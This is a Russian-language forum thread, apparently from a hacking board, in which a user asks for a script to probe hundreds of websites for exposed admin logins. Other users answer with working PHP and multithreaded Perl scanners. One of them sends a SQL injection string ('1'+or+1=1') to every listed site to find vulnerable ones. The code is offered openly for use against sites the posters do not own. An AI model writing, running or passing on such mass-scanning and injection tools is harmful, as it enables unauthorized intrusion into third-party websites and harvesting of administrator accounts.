Просмотр полной версии : Помогите в Написании Простенького Скрипта
Привет АчаТУ! Буду очень признателен если добрые люди помогут написать простенький php скрипт. С меня ++ сы либо пару $ ;)
Суть скрипта:
- Я вставляю в форму более 500 ссылок вида:
site1.com
site2.com
site3.com
- Скрипт подставляет по очереди (или во много потоков сразу) после каждой ссылки чтото типа:
/admin.php?=error (это можно тоже сделать чтобы через форму вводилось)
- Он как бы открывает каждую ссылку но уже как:
site1.com/admin.php?=error
site2.com/admin.php?=error
site3.com/admin.php?=error
- В центре страницы каждой ссылки он ищет:
Логин: login (login - любое слово, это будет админский ник)
- Если логин обнаружен тогда он записывает ссылку в good.txt на сервере, если нет тогда в bad.txt, если логин не обнаружен то выдаёт разного рода ошибки!
P/S/ думаю вы как бы поняли наверное суть скрипта ;) Если что-то не понятно пишем тут или в ПМ :)
<?php
if(!empty($_POST['txt'])){
$links = explode("\r\n", $_POST['txt']);
foreach ($links as $link) {
$data = file_get_contents($link.'/admin.php?=error');
if(preg_match('#Логин: (.*)#',$data,$m)) {
echo 'FOUND: '.$m[1].'<br>';
file_put_contents('good.txt',$m[1], FILE_APPEND);
}
}
} else {
echo '<form method="post" enctype="application/x-www-form-urlencoded">
<textarea cols="22" rows="11" wrap="OFF" name="txt"></textarea><br>
<input type="submit" value="Go">
</form>';
}
?>
Подозреваю что регулярка не будет правильно парсить т.к. нужен кусочек исходного кода HTML странички места где выводится логин либо ошибка.
UP! Народ может кто за пару баксов напишет?) Ну нужет вот и всё!)
Вам же дали вариант. Чем не устраивает?
altblitz
13.05.2010, 07:16
b3,
верно по идее.
но <input type="submit" value="Go">
начисто опровергает её.
понимаешь, почему ?
Если известен ник или ключевое слово
Можно попробовать решить вопрос allsubmitter 4.7, ссылки вбить как адреса сайтов и запустить по ним автопрогон.
Если ключевое слово найдено - уйдет в успешно, если ошибка, то в неудачно.
Чтобы реализовать на php нужно понять, что парсить, какой-то аналог того, что должно быть можно показать?
Если известен ник или ключевое слово
Можно попробовать решить вопрос allsubmitter 4.7, ссылки вбить как адреса сайтов и запустить по ним автопрогон.
Если ключевое слово найдено - уйдет в успешно, если ошибка, то в неудачно.
Чтобы реализовать на php нужно понять, что парсить, какой-то аналог того, что должно быть можно показать?
да могу показать если возьмеся в написание скрипта)
phpdreamer
13.05.2010, 18:15
<?php
//Скрипт для поиска уязвимых сайтов
//автор: phpdreamer
set_time_limit(0);
//имя файла, в котором список сайтов
$filename = 'sites.txt';
//строка в URL, для поиска уязвимых сайтов
$url = "?functions.php?login=1'+or+1=1/*";
//строка, которая будет на странице если сайт уязвим
$str = 'Добро пожаловать';
//читаем файл и проверяем все сайты
foreach(file($filename) as $site)
if(strpos(curlPage(trim($site) . $url) , $str ))
echo $site . '<br>';
function curlPage($url)
{
if( !function_exists('curl_init'))
die('На сервере не установлено или отключено расширение cURL. Скрипт завершил работу.');
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array(
'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,application/json',
'User-Agent: Mozilla/5.0 (X11; U; Gentoo-Linux; ru; rv:1.9.2.3)socks-php-bot Gecko/20100404 Firefox/3.7.0 GTB7.0',
'Accept-Encoding: deflate',
'Accept-Charset: UTF-8,*'));
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,300);
return curl_exec($curl);
}
use LWP::UserAgent;
use HTTP::Cookies;
use URI::Escape;
use threads;
use threads::shared;
my @sites : shared = loadf('sites.txt');
my @trl = ();
$trl[$_] = threads->create(\&main) for 0..10;
$_->join for @trl;
sub main
{
my ($web, $cookie) = webclient();
while(@sites)
{
$site = shift @sites;
my $page = $web->get($site.'/admin.php?=error')->content;
if($page =~ /Логин: (.*?)/) #регулярка
{
print 'login found in '.$site; # выводим если регулярка найдена
}
}
}
## Веб ##
sub webclient
{
my $web = new LWP::UserAgent;
my $cookie = new HTTP::Cookies;
$web->cookie_jar($cookie);
$web->agent($rndua);
my @array = ();
$web->requests_redirectable(\@array);
return $web, $cookie;
}
## Загрузка файла ##
sub loadf {
open F, "<".$_[0] or erroropen($_[0]);
chomp(my @data = <F>);
close F;
return @data;
}
## Если файл не найден ##
sub erroropen
{
print '[error] file '.$_[0].' not found';
exit;
}
##
Вот накатал быстренько скриптик на PERL'e.
Работает в 10 потоков.
Регялрку сам пиши какую надо или дай кусок сурса, сам напиши.
Чтобы сохроняло в файлы было лень писать, если что пиши в аську.
<?php
//Скрипт для поиска уязвимых сайтов
//автор: phpdreamer
set_time_limit(0);
//имя файла, в котором список сайтов
$filename = 'sites.txt';
//строка в URL, для поиска уязвимых сайтов
$url = "?functions.php?login=1'+or+1=1/*";
//строка, которая будет на странице если сайт уязвим
$str = 'Добро пожаловать';
//читаем файл и проверяем все сайты
foreach(file($filename) as $site)
if(strpos(curlPage(trim($site) . $url) , $str ))
echo $site . '<br>';
function curlPage($url)
{
if( !function_exists('curl_init'))
die('На сервере не установлено или отключено расширение cURL. Скрипт завершил работу.');
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array(
'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,application/json',
'User-Agent: Mozilla/5.0 (X11; U; Gentoo-Linux; ru; rv:1.9.2.3)socks-php-bot Gecko/20100404 Firefox/3.7.0 GTB7.0',
'Accept-Encoding: deflate',
'Accept-Charset: UTF-8,*'));
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,300);
return curl_exec($curl);
}
Скрипт еще не успел начать цикл как приостановил работу :(
phpdreamer
13.05.2010, 19:16
set_time_limit(0); - устанавливает неограниченное время выполнения скрипта... нужно разрешить это в php.ini
ну и расширение curl должно быть установлено на сервере...
у меня скрипт работает
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot